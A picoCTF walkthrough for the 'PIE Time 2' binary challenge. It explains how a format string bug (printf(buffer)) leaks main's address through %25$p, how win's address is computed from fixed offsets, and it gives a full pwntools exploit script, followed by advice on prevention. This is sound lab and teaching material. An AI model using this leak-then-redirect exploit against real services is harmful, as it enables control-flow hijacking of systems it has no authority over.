Description
PIE Time 2 removes the helpful address leak from the first challenge. The binary still has a win function, but now you must find the address yourself using a format string vulnerability.
Setup
Download both the binary and source to understand the control flow.
Confirm with checksec that PIE is enabled (so win's address randomizes per run) and note the program prints your name back via printf(buffer) - a format string vulnerability.
Set up pwntools locally before attacking the remote instance.
wget https://challenge-files.picoctf.net/c_rescued_float/74f33240f15875af51d0e48c03a106729349634e18de5b7654105cb37d2e34cc/vuln.cwget https://challenge-files.picoctf.net/c_rescued_float/74f33240f15875af51d0e48c03a106729349634e18de5b7654105cb37d2e34cc/vulnchmod +x vulnchecksec --file=./vulnobjdump -d vuln | grep -E '<win>:|<main>:'Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
%n$p stack-slot probing in detail, and the ASLR / PIE Bypass guide walks through the leak-then-redirect pattern this exploit uses.Step 1Identify the format string vulnerability
ObservationThe source passes the input buffer straight to printf with no format argument, and checksec shows PIE enabled with no address handed out. Probe stack slots with indexed %p specifiers until a code-segment pointer appears.The binary reads your name into a buffer and prints it back withprintf(buffer)- a classic format string bug. Sending%pspecifiers leaks raw stack values as hex pointers. A long%N$pchain typically prints something like libc, then a stack canary, then a few return addresses. The slot whose value matches0x55555555xxxx(PIE base prefix on x86-64 Linux) ismain's saved return address - in this binary, that's stack position 25.pythonpython3 -c "print('%1$p.%2$p.%3$p.%4$p.%5$p')" | ./vulnbash# Probe positions to find the code pointer (look for 0x55... values): python3 -c "print('.'.join(f'%{i}$p' for i in range(1, 35)))" | ./vuln # In a different binary, the position-of-main slot is whichever one # matches a known runtime address (e.g., compare against `ldd ./vuln` # output for a libc address, or against the binary base from /proc/<pid>/maps).What didn't work first
Tried: Send %s instead of %p to read stack values and look for code pointers.
%s makes printf dereference the slot as a char pointer, so an unreadable address segfaults the process at once. %p prints the raw value without following it, which is what makes probing every slot safe.
Tried: Stop probing after the first 0x55... address and assume that slot is main's return address.
The first 0x55 value you see is often a libc or loader frame mapped near the binary base, not main's saved return address. Check the leak against objdump's static addresses so the difference matches the expected offset. Take the wrong slot and every computed address is off by a fixed constant, landing mid-instruction.
Learn more
A format string vulnerability occurs when user-controlled input is passed directly as the format string to
printf(i.e.printf(buf)instead ofprintf("%s", buf)). The%pspecifier tellsprintfto print the next variadic argument as a hex pointer. Since no arguments were actually passed,printfreads values off the stack - effectively leaking whatever is at each stack position.The direct parameter access syntax
%n$pselects the n-th stack slot directly. This lets you probe individual slots cleanly without consuming earlier ones. To identify which slot holds a useful code pointer, send a run of specifiers, capture the output, and look for addresses in the range of the binary's load address (typically starting with0x55...or0x56...on Linux when PIE is enabled).Despite being a decades-old vulnerability class, format string bugs still appear in production code. The fix is trivial: always pass user input as an argument string rather than as the format itself. Compilers warn about this pattern with
-Wformat-security.Step 2Leak main and compute win's address
ObservationSlot 25 holds a 0x55 value matching main's runtime address. objdump gives the static offsets of win and main, so add their difference to the leak and you have win at runtime, with no need for the PIE base itself.Send%25$pas the name to leakmain's runtime address. The static offsets sit in objdump output, so you derivewindirectly from the leak and ASLR is irrelevant:win_runtime = leaked_main + (win_static - main_static).python# Verify the static offsets locally: objdump -d vuln | grep -E '<win>:|<main>:' # Sample output: # 000000000000135c <win>: # 00000000000013f2 <main>: # Derivation: # main_static = 0x13f2 # win_static = 0x135c # delta = win_static - main_static = -0x96 # win_runtime = leaked_main + delta = leaked_main - 0x96 # In your pwntools script: p.sendline(b'%25$p') main_addr = int(p.recvline().strip(), 16) win_addr = main_addr - 0x96What didn't work first
Tried: Compute win's address by subtracting the PIE base from the leaked value, then adding win's static address.
You never leak the PIE base, only main's runtime address. Subtracting main's static address gives the base and adding win's gives the target, which is the same as adding the difference to the leak. Going straight to the difference skips an intermediate step where a sign error hides easily: get the sign backwards and you land 0x12c bytes past win, in garbage.
Tried: Hardcode the offset -0x96 from one local run and use it unchanged against the remote binary.
The server may run a different build than the one you downloaded, and even a minor recompile shifts main's layout. A hardcoded difference then points at a non-executable or mid-instruction address. Re-derive it from the binary you have with objdump, or read both symbols from the ELF so the script survives a rebuild.
Learn more
A Position Independent Executable (PIE) is loaded at a random base address each run by ASLR. However, the relative offsets between all functions inside the binary are fixed at compile time and never change. If you know the runtime address of any one function, you can compute every other function's address by applying the difference from the symbol table.
The offset
-0x96meanswinis compiled 150 bytes beforemainin the binary layout. Verify this withobjdump -D vuln | grep -E "<win>:|<main>:"locally - subtract the two static addresses and you get the constant offset. Because ASLR only randomizes the base address, not the internal layout, this arithmetic is valid for every run of the program.In PIE Time 1 the binary printed
main's address for you. PIE Time 2 removes that gift, requiring you to extract it via the format string. This is the real-world pattern: you need an information disclosure primitive before you can perform any address-dependent attack. Format strings,puts(got_entry)calls, and partial overwrites are all standard ways to achieve this leak.Step 3Provide the win address and capture the flag
ObservationAfter echoing the name back, the program asks for an address to call. Send the computed one as hex on the same connection.After reading the name, the program asks for an address to call. Send the computedwin_addras a hex string. The binary jumps towin, which opens and prints the flag file.bashp.sendline(hex(win_addr).encode())bashp.recvuntil(b'You won!')pythonprint(p.recvline().decode())Expected output
picoCTF{p13_5l1c3d_...}Learn more
This exploit chains two primitives: an information disclosure (the format string leak of
main's address) followed by a control-flow hijack (providing the computedwinaddress as the jump target). This two-step pattern - leak then redirect - is the foundation of virtually every modern binary exploitation technique against ASLR-protected binaries.The full pwntools script is under 10 lines:
from pwn import * p = remote('rescued-float.picoctf.net', <PORT_FROM_INSTANCE>) try: p.recvuntil(b'name:', timeout=2) p.sendline(b'%25$p') main_addr = int(p.recvline(timeout=2).strip(), 16) win_addr = main_addr - 0x96 p.sendline(hex(win_addr).encode()) p.recvuntil(b'You won!\n', timeout=2) print(p.recvline(timeout=2).decode()) except EOFError: log.error('connection closed early - try again, the prompt phrasing may differ')pwntools is the standard toolkit for CTF binary exploitation. The
remote()class makes the same exploit script work against a local process or a remote network service. TheELFclass can parse a binary and look up symbol offsets programmatically, which is more robust than hardcoding offsets that might change between challenge revisions:elf = ELF('./vuln'); offset = elf.symbols['main'] - elf.symbols['win'].
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{p13_5l1c3d_...}
Send `%25$p` to leak main, compute win = main - 0x96, then send that address when prompted. Both steps use the same connection.
Key takeaway
How to prevent this
How to prevent this
Format string leak + PIE bypass in two requests. Each side of the bug needs its own fix.
- Kill the format string first:
printf("%s", input), neverprintf(input). Build with-Werror=format-security. - Do not accept arbitrary jump targets from untrusted input. The bug here is also that the program reads an address and calls it. Use enums + dispatch tables, not raw
void(*)()reads from user input. - Layer mitigations: PIE + canaries + RELRO + CFI. Each stops a different exploitation step. CFI (
-fsanitize=cfi) specifically blocks indirect calls to non-allowlisted addresses, killing this style of attack outright.